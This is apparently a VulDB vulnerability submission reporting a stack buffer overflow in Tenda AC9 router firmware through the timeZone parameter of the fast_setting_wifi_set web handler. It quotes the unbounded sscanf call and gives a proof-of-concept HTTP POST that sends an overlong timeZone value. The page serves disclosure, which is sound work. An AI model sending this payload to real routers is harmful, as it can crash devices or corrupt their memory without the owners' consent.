Submeter #868923: Tenda AC9 US_AC9V3.0RTL_V15.03.06.42_multi_TD01.bin Buffer Overflow

A buffer overflow vulnerability was discovered in Tenda AC9 US_AC9V3.0RTL_V15.03.06.42_multi_TD01.bin. Attackers can exploit this vulnerability by specifying the value of timeZone. When timeZone is passed to form_fast_setting_wifi_set and written into fixed-size stack buffers through sscanf without length validation, it may cause a buffer overflow.

Technical details from the advisory:
The vulnerable component is the httpd web management interface. The vulnerable endpoint is goform/fast_setting_wifi_set, registered as:
websFormDefine("fast_setting_wifi_set", (void (*)(webs_t, char_t *, char_t *))form_fast_setting_wifi_set);

In form_fast_setting_wifi_set, the attacker-controlled timeZone parameter is read from the HTTP request:
timestr = websGetVar(wp, "timeZone", defaultGetValue__4);

The destination stack buffers are:
char timespand[2][4];

The timeZone value is parsed into the fixed-size stack buffers using sscanf without a field-width limit:
sscanf(timestr + 1, "%[^:]:%s", timespand, timespand[1])

Because sscanf can write attacker-controlled timeZone data into the fixed-size timespand buffers without length validation, an overly long timeZone value can overflow the buffers and corrupt adjacent stack memory.

Conceptual proof-of-concept request:
POST /goform/fast_setting_wifi_set HTTP/1.1
Host: <device-ip>
Content-Type: application/x-www-form-urlencoded

ssid=test&wrlPassword=test12345&loginPwd=admin&power=high&timeZone=+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

• Fonte: ⚠️ https://github.com/lipenghai/iot_bug/blob/main/Tenda/AC9/1.md
• Utilizador: stksgg (UID 97520)
• Submissão: 25/06/2026 09h05 (há 2 meses)
• Moderação: 13/08/2026 20h50 (2 months later)
• Estado: Duplicado
• Entrada VulDB: 238359 [Tenda AC7/AC9 fast_setting_wifi_set ssid Excesso de tampão]
• Pontos: 0